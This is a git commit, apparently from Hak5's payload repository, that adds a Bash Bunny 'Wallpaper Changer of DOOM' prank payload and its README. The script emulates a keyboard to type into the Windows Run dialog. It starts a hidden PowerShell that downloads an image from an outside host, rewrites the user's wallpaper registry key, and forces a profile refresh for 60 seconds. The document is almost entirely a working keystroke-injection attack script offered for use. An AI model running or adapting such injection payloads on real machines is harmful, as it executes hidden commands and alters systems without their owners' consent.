Added wallpaper prank payload re: Hak5 episode 2502
parent
820576a103
commit
d386f07d8e
|
@ -0,0 +1,14 @@
|
|||
# Wallpaper Changer OF DOOM!!!!
|
||||
# Author: Hak5Darren
|
||||
# Props: Alex Goat
|
||||
# Demo: Hak5 episode 2502 - https://youtu.be/f3C58OKOsuo
|
||||
# Target: Windows Vista+
|
||||
# Category: Prank
|
||||
|
||||
LED SETUP
|
||||
ATTACKMODE HID
|
||||
LED ATTACK
|
||||
Q GUI r
|
||||
Q DELAY 500
|
||||
Q STRING "cmd /C \"start /MIN powershell iwr -Uri http://h4k.cc/b.jpg -OutFile c:\windows\temp\b.jpg;sp 'HKCU:Control Panel\Desktop' WallPaper 'c:\windows\temp\b.jpg';\$a=1;do{RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True;sleep 1}while(\$a++-le59)\""
|
||||
Q ENTER
|
|
@ -0,0 +1,18 @@
|
|||
# Wallpaper Changer of DOOM!!!!
|
||||
|
||||
* Author: Hak5Darren
|
||||
* Props: Alex Goat
|
||||
* Demo: Hak5 episode 2502 - https://youtu.be/f3C58OKOsuo
|
||||
* Target: Windows Vista+
|
||||
* Category: Prank
|
||||
|
||||
## Description
|
||||
|
||||
Single stage powershell one-liner executes from run dialog. CMD opens a minimized powershell window which downloads b.jpg (change this URL) to c:\windows\temp then sets the registry entry to change the wallpaper, then finally loops over an undocumented USER32.DLL feature for 60 seconds to force a user profile refresh.
|
||||
|
||||
## STATUS
|
||||
|
||||
| LED | Status |
|
||||
| ----------------- | -------------------------------------- |
|
||||
| SETUP | Setting attack mode |
|
||||
| ATACK | Injecting keystrokes |
|
Loading…
Reference in New Issue